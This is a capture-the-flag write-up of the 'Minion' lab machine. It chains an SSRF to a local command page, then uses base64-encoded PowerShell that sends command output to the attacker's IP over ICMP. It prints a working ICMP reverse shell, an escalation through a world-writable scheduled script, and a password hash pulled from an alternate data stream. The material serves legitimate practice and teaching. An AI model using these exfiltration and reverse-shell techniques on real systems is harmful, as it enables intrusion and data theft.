Plain vanilla noob mode. That is to say if you don’t know that the wheel exists, you may reinvent it. Useless? Maybe…
please note that I had to cut out some parts of this write-up (for instance, some base64 encoded text) because it was too log. I hope I didn’t cut some important step(s) out.
Lession learned
- a lot of powershell-fu
- a simple ping can save you a lot of time
- always use
dir /R
on windows machines: Alternate Data Streams are sneaky! - think twice before running into reverse engineering: did you already try the easy way?
Nmap allports
Since we do not get any open port with standard nmaps let’s start an allports scan
nmap -sS -p - 10.10.10.57
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-30 22:27 CET
Stats: 0:07:45 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 13.13% done; ETC: 23:26 (0:51:16 remaining)
Stats: 0:12:52 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 35.77% done; ETC: 23:03 (0:23:06 remaining)
Nmap scan report for 10.10.10.57
Host is up (0.075s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
62696/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 960.00 seconds
Finally we get something: one lonely potato port: 62696
Nmap targeted
nmap -sV -sC -oA nmap_targeted -p62696 10.10.10.57
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-30 22:54 CET
Nmap scan report for 10.10.10.57
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
62696/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry
|_/backend
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn\'t have a title (text/html).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.53 seconds
Web Server (browsing)
We can browse to port 62696, but before, we should start Nikto and Gobuster in order to (hopefully) get some information out of the box (see next paragraphs for details).
Nothing really interesting there, except a link to a really interesting box maker’s blog and a picture, and, in the html source code, a base64 encoded string.
<center>
<h2>Welcome to Minions Fanclub Site!</h2><br>
<center><br>
(site is heavily under construction)<br>
Designed and maintained by Decoder .. ciao from Italy!<br>
Visit my <a href=https://decoder.cloud>blog</a><br>
Follow me on twitter: @decoder_it
<br><img src=minion.jpg>
<br>
</center>
<!--
TmVsIG1lenpvIGRlbCBjYW1taW4gZGkgbm9zdHJhIHZpdGENCm1pIHJpdHJvdmFpIHBlciB1bmEgc2VsdmEgb3NjdXJhLA0KY2jDqSBsYSBkaXJpdHRhIHZpYSBlcmEgc21hcnJpdGEu
-->
Let’s decode it with CyberChef just in case that the educated guess on base64 encoding was wrong and we need to try something different quickly.
The educated guess was fine and we get the start of the famous poem “La Divina Commedia” by Dante Alighieri.
Nel mezzo del cammin di nostra vita
mi ritrovai per una selva oscura,
ché la diritta via era smarrita.
I studied it at school, but if you didn’t, just google for it. You will find that it is considered to be the preeminent work in Italian literature and one of the greatest works of world literature according to Wikipedia.
We can also try some basic stego-something tests (strings, binwalk, steghide) on the image, just to quickly put this searching path at lower priority, since we have no promising results there.
So at the moment we have a base64 encoded string. Let’s see if Nikto and/or Gobuster give us something else:
Nikto
nikto -host 10.10.10.57 -p 62696
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.57
+ Target Hostname: 10.10.10.57
+ Target Port: 62696
+ Start Time: 2017-11-30 23:01:58 (GMT1)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/8.5
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-aspnet-version header: 4.0.30319
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Cookie ASPSESSIONIDSCSBQQBT created without the httponly flag
+ Entry '/backend/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ OSVDB-3092: /test.asp: This might be interesting...
+ 7502 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2017-11-30 23:09:53 (GMT1) (475 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
/backend/ from robots.txt
Gobuster
Since this is a windows box let’s start with asp and aspx:
gobuster -u http://10.10.10.57:62696 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 50 -x .asp,aspx
Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.57:62696/
[+] Threads : 50
[+] Wordlist : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,200
[+] Extensions : .asp,.aspx
=====================================================
/test.asp (Status: 200)
/backend (Status: 301)
Web Server (targeted)
http://10.10.10.57:62696/backend/ >> Instance not running
http://10.10.10.57:62696/test.asp >> Missing Parameter Url [u] in GET request!
The second looks promising:
http://10.10.10.57:62696/test.asp?u=http://www.google.com
500 - Internal server error.
There is a problem with the resource you are looking for, and it cannot be displayed.
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1
<center>
<h1>Site Administration</h1>
<table border=1>
<tr><td><a href="">Edit Configuration</a>
<tr><td><a href="">Start/Stop Instance</a>
<tr><td><a href="">View Summary</a>
<tr><td><a href="">View Logs</a>
<tr><td><a href="http://127.0.0.1/cmd.aspx">system commands</a>
</table>
The second is promising. Let’s do some tests:
10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx
[...]
<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=texsincet name=xcmd size=40> </form>
If we try it “vanilla” we get (obviously) an error, because the POST is on ‘/cmd.aspx’, that is to say http://10.10.10.57:62696/cmd.aspx, which does not exist.
Since what we found is a SSRF, we have to change the request to 10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx
, using a POST method. Luckly, the creator of the box give us the chance to use also a GET (we will confirm this later), so we can input in the browser:
10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=whoami
and get a result. An “unexpected” one:
Exit Status=0
<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=text name=xcmd size=40> </form>
Let’s do some basic tests…
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\windows
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\temp
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir anywhere
Exit Status=1
So 0
>> ok
, 1
>> ko
, as the %ERRORLEVEL%
…and try something more useful (write):
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=echo test > c:\temp\test.txt
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=type c:\temp\test.txt
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=type c:\temp\hjksg uhrghj.txt
Exit Status=1
So we can create files, read files and so on, but we cannot get the content out of the box, at the moment. Let’s use this single bit of information to get some other information:
With time and patience…
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\cmd.aspx
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\asp?????.???
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\asp?????
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\aspnet????
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\default*
Exit Status=0
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=dir c:\inetpub\wwwroot\iis*
Exit Status=0
For sure we can imagine something that, with a lot of time and a lot or patience, will give use any result we’d like, one bit at time. But is there any other way of get something out of this box ?
## (if you copy/paste the following lines please remove the newline)
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=
cmd /c PowerShell.exe -Exec ByPass "Write-Host 'Hello, World!'"
Exit Status=0
10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=
cmd /c PowerShell.exe -Exec ByPass "wget http://10.10.14.121/index.html -outfile c:\temp\index.html"
Exit Status=1
[storyteller mode on]
With a lot (almost unbelievable amount) of tries, I excluded almost everything (http, https, ftp, tftp, wtf) I could imagine to get any content from the box.
Only at the end - my fault - I tried, after issuing a tcpdump -nni tun0 icmp
on my linux box:
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=ping%2010.10.14.121
Exit Status=0
and on the local machine, I got:
23:03:08.044530 IP 10.10.10.57 > 10.10.14.121: ICMP echo request, id 1, seq 6, length 655
[...]
I remember that I almost fall off my chair when I saw it.
But… wait? How can I use it to get something out of there? It’s only a ping!!! Then I remembered that, a long time ago, someone told me that we can change the payload of a ping. May be that someone found a way to get this working as a shell? Let’s google.
According to Murphy’s Law when I googled for it, I came into the wrong shell. Or at least one that I wasn’t able to use.
So I did it mine, almost, kind of “get that file out of there” powershell script (I spent 3 days on it).
[storyteller mode off]
"get that file out of there"™ powershell script
If you are on linux and don’t have powershell get it! (GitHub - PowerShell/PowerShell: PowerShell for every system!).
Since we have do deal with multiple commands, quotes and double quotes, following that hint on the homepage, we can use base64 encoded commands with powershell.
# in powershell (pwsh)
# (if you copy/paste the following lines please remove the newlines and use your ip)
PS /> $string = {$c="cmd /c dir c:\ ";$IP="10.10.14.121";$ic = New-Object
System.Net.NetworkInformation.Ping;$PO = New-Object
System.Net.NetworkInformation.PingOptions;$PO.DontFragment = $True;$r=(IEX -ErrorAction continue
-Command $c | Out-String );$s=([text.encoding]::ASCII).GetBytes($r);if($s.length -gt 1024)
{for($i=0; $i -le 100; $i++){$s2 = $s[($i*1024)..((($i+1)*1024)-1)];$ic.Send($IP,4096, $s2, $PO) |
Out-Null;}}else{$ic.Send($IP,4096,$s,$PO) | Out-Null;}}.ToString()
$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string))
$encodedcommand
#output:
JABjAD0AIgBjAG0AZAAgAC8AYwAgAGQ [snipped]
so the request to be issued on a browser is:
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=powershell -exec bypass -noprofile -encodedcommand JABjAD0AIgBjAG0AZAAgAC8AYwAgAGQ [snipped]
If you want to see the result on the local machine you should issue a: tcpdump -X -nni tun0 icmp
:
tcpdump -X -nni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
23:13:13.044610 IP 10.10.10.57 > 10.10.14.121: ICMP echo request, id 1, seq 6, length 655
0x0000: 4500 02a3 3f1f 4000 7f01 8d75 0a0a 0a39 E...?.@....u...9
0x0010: 0a0a 0e79 0800 42c0 0001 0006 2056 6f6c ...y..B......Vol
0x0020: 756d 6520 696e 2064 7269 7665 2043 2068 ume.in.drive.C.h
0x0030: 6173 206e 6f20 6c61 6265 6c2e 0d0a 2056 as.no.label....V
0x0040: 6f6c 756d 6520 5365 7269 616c 204e 756d olume.Serial.Num
0x0050: 6265 7220 6973 2031 3433 422d 3138 3034 ber.is.143B-1804
[...]
It works. And if you want to be smart you can use icmpsh_m.py (icmpsh/icmpsh_m.py at master · bdamele/icmpsh · GitHub) to let the output be human readable:
# open an icmpsh_m.py on the local machine
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python /usr/share/sqlmap/extra/icmpsh/icmpsh_m.py 10.10.14.121 10.10.10.57
#ask again the page via the browser, wait for any output on icmpsh_m
Volume in drive C has no label.
Volume Serial Number is 143B-1804
Directory of c:\
09/04/2017 07:42 PM <DIR> accesslogs
08/10/2017 10:43 AM <DIR> inetpub
08/22/2013 08:52 AM <DIR> PerfLogs
09/25/2017 01:51 AM <DIR> Program Files
08/10/2017 09:42 AM <DIR> Program Files (x86)
08/24/2017 01:28 AM <DIR> sysadmscripts
04/04/2018 01:12 PM <DIR> temp
09/04/2017 07:41 PM <DIR> Users
09/10/2017 10:20 AM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 13,773,717,504 bytes free
So we can execute, read and write files on the remote system, almost anything that can be done with a reverse shell. Let’s see one more example:
# pwsh
$body = {$IP="10.10.14.121";$ic = New-Object System.Net.NetworkInformation.Ping;$PO = New-Object System.Net.NetworkInformation.PingOptions;$PO.DontFragment = $True;$r=(IEX -ErrorAction continue -Command $c | Out-String );$s=([text.encoding]::ASCII).GetBytes($r);if($s.length -gt 1024){for($i=0; $i -le 100; $i++){$s2 = $s[($i*1024)..((($i+1)*1024)-1)];$ic.Send($IP,4096, $s2, $PO) | Out-Null;}}else{$ic.Send($IP,4096,$s,$PO) | Out-Null;}}.ToString()
$command = {$c="type c:\inetpub\public\test.asp ";}.ToString()
$string = $command + $body
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string))
#outupt
JABjAD0AIgB0AHkAcABlACAAYwA6AFwAaQ [snipped]
#in the browser
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=powershell -exec bypass -noprofile -encodedcommand JABjAD0AIgB0AHkAcABlACAAYwA6AFwAaQBuAGUAdABwAHUAYgBcAHAAdQBiAGwAaQBjAFwAdABlAHMAdAAuAGEAcwBwACAAIgA7ACQ [snipped]
#output on icmpsh_m.py (test.asp)
<%
dim objHttp,strURL
if request("u") = "" then
response.write "Missing Parameter Url [u] in GET request!"
else
set objHttp = server.CreateObject("Msxml2.ServerXMLHTTP")
strURL = Request("u")
objHttp.open "GET", strURL, False
objHttp.Send
If objHttp.status = 200 Then
Response.Expires = 90
Response.ContentType = Request("mimeType")
Response.BinaryWrite objHttp.responseBody
set objHttp = Nothing
End If
end if
%>
It works. And we can get the user flag issuing commands with this (ugly) custom pipeline:
- create the base64 encoded payload with powershell
- send it to the box with the browser (or with curl)
- read the output on a running instance of icmpsh_m.py
For sure we could automate all this stuff, but, I’m so lazy… so I didn’t.
For sake of semplicity, I’ll omit the full pipeline in the following part of this writeup, so you will find only the “original” command(s) without the full pipeline madness.
Let’s understand what the server is doing:
#type cmd.aspx
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<script runat="server">
Function RunCmd(command)
Dim res as integer
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe")
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments="/c " + command
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
res=myProcess.ExitCode
myProcess.Close()
RunCmd= res
End Function
</script>
<html>
<body>
<%
dim t as integer
if request("xcmd") <> "" then
t=RunCmd(request("xcmd"))
response.write("Exit Status=" &t)
end if
%>
#netsh advfirewall monitor show firewall rule name=all
Windows Firewall Rules:
----------------------------------------------------------------------
Rule Name: icmp_2
----------------------------------------------------------------------
Enabled: Yes
Direction: Out
Profiles: Domain,Private,Public
Grouping:
LocalIP: Any
RemoteIP: Any
Protocol: ICMPv4
Type Code
Any Any
Edge traversal: No
Action: Allow
Rule Name: icmp
----------------------------------------------------------------------
Enabled: Yes
Direction: In
Profiles: Domain,Private,Public
Grouping:
LocalIP: Any
RemoteIP: Any
Protocol: ICMPv4
Type Code
Any Any
Edge traversal: No
Action: Allow
Rule Name: http_62696
----------------------------------------------------------------------
Enabled: Yes
Direction: In
Profiles: Domain,Private,Public
Grouping:
LocalIP: Any
RemoteIP: Any
Protocol: TCP
LocalPort: 62696
RemotePort: Any
Edge traversal: No
Action: Allow
[...]
That is to say only TCP 62696, icmp e dns, on port 53
What about IPv6?
#ipconfig
Windows IP Configuration
Host Name . . . . . . . . . . . . : minion
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
Physical Address. . . . . . . . . : 00-50-56-AA-34-2F
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 10.10.10.57(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2
DNS Servers . . . . . . . . . . . : 10.10.10.2
NetBIOS over Tcpip. . . . . . . . : Enabled
Tunnel adapter isatap.{949AA29B-BAB3-4D0E-9346-5AE5763F376C}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
No IPv6 in this box!
dir c:\sysadmscripts
Directory: C:\sysadmscripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 9/26/2017 6:24 AM 284 c.ps1
-a--- 8/22/2017 10:46 AM 263 del_logs.bat
type c:\sysadmscripts\c.ps1
$lifeTime=1; # days
foreach($arg in $args)
{
write-host $arg
dir $arg | where {!$_.psiscontainer} | foreach
{
if((get-date).subtract($_.LastWriteTime).Days -gt $lifeTime)
{
remove-item ($arg + '\' + $_) -force
}
}
}
That is to say: it deletes all the file (to be precise: everything that is not a container) if it is older than 1 day.
#type c:\sysadmscripts\del_logs.bat
@echo off
echo %DATE% %TIME% start job >> c:\windows\temp\log.txt
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -exec bypass -nop -file c:\sysadmscripts\c.ps1 c:\accesslogs
echo %DATE% %TIME% stop job >> c:\windows\temp\log.txt
that is to say: it uses the script above to delete c:\accesslogs
Let’s have a look to the logs type c:\windows\temp\log.txt
We cannot read it but…
dir c:\windows\temp\log.txt
12/08/2017 01:31 PM 198,115 ... log.txt
…after a while
dir c:\windows\temp\log.txt
12/08/2017 01:36 PM 198,154 ... log.txt
It changes over time, every 5 minutes. Let’s check the scheduled tasks:
SchTasks.exe
INFO: There are no scheduled tasks presently available at your access level.
But can we modify sysadmscripts files?
icacls c:\sysadmscripts\c.ps1
c:\sysadmscripts\c.ps1 NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Everyone:(F)
BUILTIN\Users:(F)
Successfully processed 1 files; Failed processing 0 files
icacl sc:\sysadmscripts\del_logs.ps1
c:\sysadmscripts\del_logs.bat NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Everyone:(RX)
BUILTIN\Users:(RX)
Yes, we have full permission on c:\sysadmscripts\c.ps1
with (BUILTIN\Users:(F)
)
Get the user flag (and try to get the administrator flag)
Let’s change c.ps1…
echo "dir c:\users\administrator\Desktop > c:\temp\output.txt" > c:\temp\test.ps1
echo "dir c:\users\decoder.MINION\Desktop >> c:\temp\output.txt" >> c:\temp\test.ps1
echo "copy c:\users\administrator\Desktop\root.txt c:\temp\root.txt" >> c:\temp\test.ps1
echo "copy c:\users\decoder.MINION\Desktop\* c:\temp\" >> c:\temp\test.ps1
…remove double quotes on test.ps1…
(Get-Content c:\temp\test.ps1) | ForEach-Object { $_ -replace """", "" } | Set-Content c:\temp\test.ps1
…overwrite c.ps1 with our code…
copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak
copy c:\temp\test.ps1 c:\sysadmscripts\c.ps1
…wait up to 5 minutes…
type c:\temp\user.txt
40b949f92b86b19a77986af9faf91601
…cleanup after ourself.
copy c:\temp\c.ps1.bak c:\sysadmscripts\c.ps1
del c:\sysadmscripts\test.ps1
Getting the root flag
Ok… to be honest I asked for an advice and someone gave me some hints to get an almost working interactive reverse shell based on , so I was able to work faster.
$IP = "10.10.15.165";$c = New-Object System.Net.NetworkInformation.Ping;$opts = New-Object System.Net.NetworkInformation.PingOptions;$ops.DontFragment = $false;$c.send($IP, 1024, ([Text.Encoding]::ASCII).GetBytes("PS:>"), $ops);while($true){sleep 2;$comms = $c.Send($IP, 1024, ([Text.Encoding]::ASCII).GetBytes(""), $ops);if($comms.Buffer){ $cmd = ([Text.Encoding]::ASCII).GetString($comms.Buffer);$reply = (Invoke-Expression -Command $cmd | Out-String);$c.send($IP, 1024, ([Text.Encoding]::ASCII).GetBytes($reply), $ops);}}
We can send it to Minion base64 encoded:
#encode it
cat shell.ps1 | base64 -w 0
JElQID0gIjEwLjEwLjE1LjE2NSI7 [snipped]
#send it
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=echo JElQID0gIjEwLjEwLjE1LjE2NSI7 [snipped]
#decode it
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=certutil -decode c:\temp\shell.b64 c:\temp\shell.ps1
#setup locally
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python /usr/share/sqlmap/extra/icmpsh/icmpsh_m.py 10.10.15.165 10.10.10.57
#run it
http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx?xcmd=powershell.exe -exec bypass -noprofile c:\temp\shell.ps1
But there is more than the flag on decoder.MINION desktop.
cmd /c 'dir /R c:\temp'
Volume in drive C has no label.
Volume Serial Number is 143B-1804
Directory of c:\temp
01/28/2018 03:11 PM <DIR> .
01/28/2018 03:11 PM <DIR> ..
09/04/2017 06:19 PM 103,297 backup.zip
34 backup.zip:pass:$DATA
08/25/2017 10:09 AM 33 user.txt
5 File(s) 122,467 bytes
2 Dir(s) 13,793,255,424 bytes free
Get that “pass” out of the ADS with powershell -str
parameter:
get-content c:\temp\backup.zip -str pass
28a5d1e0c15af9f8fce7db65d75bbf17
Is this a password?
net use * \\minion\c$ /user:minion\decoder 28a5d1e0c15af9f8fce7db65d75bbf17
net use * \\minion\c$ /user:minion\administrator 28a5d1e0c15af9f8fce7db65d75bbf17
No. Is this a (already decoded) hash? https://crackstation.net/ || https://hashkiller.co.uk/md5-decrypter.aspx
28a5d1e0c15af9f8fce7db65d75bbf17 NTLM 1234test
Get that flag!
net use * \\minion\c$ /user:minion\administrator 1234test
Drive Z: is now connected to \\minion\c$.
type Z:\users\administrator\desktop\root.txt
In order to get the flag you have to launch root.exe located in this folder!
Z:\users\administrator\desktop\root.exe
Are you trying to cheat me?
censored? ok… long story short, there are plenty of ways of get this done, but since we used powershell so far, we can issue some powershell commands on the remote machine as minion\administrator:
$user = "minion\administrator"
$pass = "1234test" | convertto-securestring -asplaintext -force
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $pass
$session = new-pssession minion -Credential $cred
invoke-command -Session $session {cat C:\users\administrator\desktop\root.txt}
In order to get the flag you have to launch root.exe located in this folder!
invoke-command -Session $session {cmd /c C:\users\administrator\desktop\root.exe}
Are you trying to cheat me?
CENSORED?!???!??
invoke-command -Session $session {cd C:\users\administrator\desktop; .\root.exe}
25afc18b756db15085428015928a1cf1
Much better… done.
Bonuses
Some selected powershell-fu:
-
$pid
shows the current process -
stop-process $pid
kill myself (the shell) -
exit num
exit with num -
get-content some_file_path -str ADS_name
to get the content out of an ADS
Rabbit holes?
You may wonder if I forgot to download and examine secret.exe
(found in c:\users\decoder.MINION\Desktop\backup.zip
) and c:\users\administrator\desktop\root.exe
files. Yes and no. I actually downloaded backup.zip and used radare2 (r2) to analyze it, getting nothing interesting from it, but I did it only because it “failed” to give me any info when started on the Minion box. I personally don’t think that this is even a rabbit hole, since, after thinking on it, I realized that an ADS “appended” to a zip is an interesting place to hide something.
root.exe, since I asked him politely (i.e. after a cd
to c:\users\administrator\desktop
), gave me what I wanted so… task completed, period.